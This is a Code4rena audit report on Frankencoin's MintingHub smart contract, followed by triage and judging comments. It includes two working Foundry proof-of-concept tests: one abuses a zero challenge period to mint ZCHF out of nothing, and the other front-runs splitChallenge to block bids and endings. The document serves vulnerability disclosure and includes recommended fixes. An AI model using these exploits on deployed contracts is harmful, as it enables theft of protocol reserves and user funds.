Lack of validation in opening positions parameters can lead to critical vulnerabilities at protocol level

[code423n4]

Lines of code

https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L88-L113

Vulnerability details

Suspicious positions may be denied by voters if they don't seem legit, but over time it is very possible that one of them lands in the protocol, which can involve serious risks.

Some attributes may not seem harmful with certain values at first sight, and can lead to permanent damage to the protocol if a position becomes active.

Impact

Malicious positions can lead to damage at protocol level, including stealing assets from the reserve, or unrestricted minting of tokens for example.

I will provide two attack vectors to illustrate this. Buy many other can be performed with different Position attributes.

Proof of concept - Attack vector 1

Take for example challengePeriod = 0.

There is no restriction for creating positions with challengePeriod = 0.

Positions with challengePeriod = 0 can launch a challenge and end it immediately on the same transaction.

Position owners can launch challenges against their own positions, and as there will be no bid period, the protocol will have to pay for the unaverted challenge. It can be done even on the same transaction as launching the challenge.

This leads to stealing reserves from the protocol, or unrestricting minting of ZCHF tokens when reserves are gone.

Add this test to test/GeneralTest.t.sol prove how tokens can be minted without restriction. Values can be tweaked to mint bigger amounts:

function testZeroChallengePeriod() public {
    // Obtain some tokens to be able to open a position
    alice.obtainFrankencoins(swap, 1000 ether);
    col.mint(address(alice), 100);

    // Open the position with a challenge period of 0
    vm.startPrank(address(alice));
    uint256 challengePeriod = 0;
    col.approve(address(hub), 100);
    address posAddr = hub.openPosition(address(col), 0, 100, 2 ** 255, 3 days, 1, challengePeriod, 0, 10 ether, 0);
    vm.stopPrank();

    // Alice balance is 0
    assertEq(zchf.balanceOf(address(alice)), 0);
    assertEq(col.balanceOf(address(alice)), 0);

    // Wait until the cooldown is off
    skip(3 days + 1);

    // Perform the attack
    // Alice launches a challenge with 100 collateral tokens
    col.mint(address(alice), 100);
    vm.startPrank(address(alice));
    col.approve(address(hub), 100);
    Position(posAddr).adjustPrice(Position(posAddr).price() * 100);
    uint256 challengeNumber = hub.launchChallenge(posAddr, 100);
    hub.end(challengeNumber);
    vm.stopPrank();

    // Alice gets her collateral back
    assertEq(col.balanceOf(address(alice)), 200);

    // Alice prints ZCHF token out of thin air
    assertEq(zchf.balanceOf(address(alice)), 2000);
}

Positions have many values, and few of them are properly validated:

function openPosition(
    address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral,
    uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds,
    uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) {
    IPosition pos = IPosition(
        POSITION_FACTORY.createNewPosition(
            msg.sender,
            address(zchf),
            _collateralAddress,
            _minCollateral,
            _initialCollateral,
            _mintingMaximum,
            _initPeriodSeconds,
            _expirationSeconds,
            _challengeSeconds,
            _mintingFeePPM,
            _liqPrice,
            _reservePPM
        )
    );
    zchf.registerPosition(address(pos));
    zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE);
    IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);

    return address(pos);
}

Link to code

Proof of Concept - Attack Vector 2

Another attack vector could be that positions with low minimumCollateral can suffer from frontrunning attacks on challenges

The protocol allows creating positions with a low or zero value for minimumCollateral. It should not present any risk to the protocol in theory. Miners or voters would not have any valid reason to deny them if the rest of the attributes seem legit.

A minimumCollateral of zero would only be considered to damage the position owner, as their positions would be easily challenged by anyone. So it's a risk that only them would assume.

It is very possible that such a position would succeed in passing the initial phase.

Summary

MintingHub::splitChallenge() can be called indefinitely if minimumCollateral = 0, creating a new challenge that will hold the whole size, but with a different challengeNumber. The attack is also viable if minimumCollateral has a small size that allows repeated attacks.

That allows anyone to frontrun any of the challenge functions of the MintingHub by calling splitChallenge, generating a new challengeNumber, and making the victim transaction fail because they use the original challenge number. This can lead to different attacks with high impact.

Impact

bid can be frontrunned by splitChallenge to prevent anyone from bidding on a specific challenge indefinitely, until the end time is reached. This can lead to loss of funds by the protocol, as it will have to pay for the unaverted challenge.

splitChallenge can be frontrunned by another splitChallenge to run an attack documented on the function: "an attack, where a challenger launches a challenge so big that most bidders do not have the liquidity available to bid a sufficient amount". This can lead to less bids due to lack of liquidity, with the previous consequence mentioned in bid.

end can be frontrunned by splitChallenge to postpone the end of the challenge indefinitely.

This can lead to lose of assets from position owners, bidders, or challengers, by creating unfair challenges where other users are not able to participate.

Code Explanation

MintingHub::splitChallenge() allows "transfering" the whole size and bid to a new challenge if minimumCollateral = 0:

    challenge.bid -= copy.bid;
    challenge.size -= copy.size;

    uint256 min = IPosition(challenge.position).minimumCollateral();
    require(challenge.size >= min);
    require(copy.size >= min);

Link to code

This allows the attacker to frontrun legit users trying to call the challenge functions. Subsequent transactions will attempt to call the functions with an "old" challenge number that will hold no size nor bid.

The challenge is splitted, with the former having size = 0 and the newest with the whole original size.

Test

Add this test to test/GeneralTest.t.sol:

function testFrontrunSplitChallenge() public {
    // Create a "minter" to distribute zchf tokens and set up the environment
    User minter = new User(zchf);
    minter.obtainFrankencoins(swap, 1_000_000 ether);
    minter.transfer(zchf, address(this), 1000 ether);
    minter.transfer(zchf, address(alice), 1000 ether);

    // Open the position
    col.mint(address(this), 100);
    col.approve(address(hub), 100);
    address posAddr = hub.openPosition(address(col), 0, 100, 2 ** 255, 3 days, 0, 1, 0, 1 ether, 0);

    // Wait until the cooldown is off
    skip(7 * 86_400 + 60);

    // Bob opens a challenge
    col.mint(address(bob), 1300);
    uint256 challengeSize = 300;
    uint256 challengeNumber = bob.challenge(hub, posAddr, challengeSize);

    // Bob frontruns other transactions
    // Bob is able to split the challenge with the same challengeSize before other users call it
    vm.prank(address(bob));
    uint256 secondChallengeNumber = hub.splitChallenge(challengeNumber, challengeSize);

    // Alice is not able to split the challenge with a lower size because of the frontrunning
    vm.expectRevert(); // Unexpected error because of a division by zero
    vm.prank(address(alice));
    hub.splitChallenge(challengeNumber, challengeSize / 2);

    // Alice is not able to bid on the challenge
    vm.prank(address(alice));
    vm.expectRevert(0x8d343e37); // "Unexpected size" error
    hub.bid(challengeNumber, 1, 300);

    // Skip 1 block to be able to end the challenge
    skip(7 * 86_400 + 60 + 1);

    // Bob frontruns the end transaction
    // Bob is able to split the challenge with the same challengeSize before other users call it
    vm.prank(address(bob));
    uint256 latestChallenge = hub.splitChallenge(secondChallengeNumber, challengeSize);

    // Alice will end the second challenge, that now has size = 0
    // That leaves the latestChallenge not ended, which holds the full original size
    vm.prank(address(alice));
    hub.end(secondChallengeNumber);
}

Recommended Mitigation Steps

Enforce a minimum challengePeriod when creating a new position of at least some considerable amount of time.

Enforce a minimum value for minimumCollateral when creating a new position, based on a percentage of the initial collateral and an absolute number > 0.

Enforce minimum and maximum values for every other position attributes.

Consider creating a whitelist for collateral tokens.

[c4-pre-sort]

0xA5DF marked the issue as primary issue

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #458

[0xA5DF]

Contains also a dupe of #331 TODO

[c4-judge]

hansfriese marked the issue as satisfactory